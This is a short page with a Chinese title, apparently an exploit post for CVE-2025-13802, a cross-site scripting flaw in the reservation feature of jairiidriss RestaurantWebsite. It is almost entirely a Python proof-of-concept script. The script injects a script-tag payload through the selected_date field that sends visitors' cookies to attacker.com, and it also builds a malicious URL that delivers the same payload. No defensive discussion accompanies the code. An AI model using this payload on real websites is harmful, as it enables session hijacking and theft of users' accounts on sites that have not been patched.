CVE-2025-13802 jairiidriss RestaurantWebsite 预订功能XSS漏洞

import requests import urllib.parse # CVE-2025-13802 PoC - XSS in RestaurantWebsite Make a Reservation # Target: jairiidriss RestaurantWebsite # Component: Make a Reservation (selected_date parameter) target_url = "http://target-website.com/reservation" # XSS payload - steals cookies xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" # Encode the payload for URL encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious request params = { "selected_date": xss_payload, "customer_name": "Test User", "time_slot": "19:00", "guests": "2" } # Send the malicious reservation request response = requests.post(target_url, data=params) print(f"PoC sent. Status: {response.status_code}") print(f"Payload: {xss_payload}") print(f"Encoded: {encoded_payload}") # Alternative: Direct URL injection malicious_url = f"{target_url}?selected_date={encoded_payload}" print(f"Malicious URL: {malicious_url}")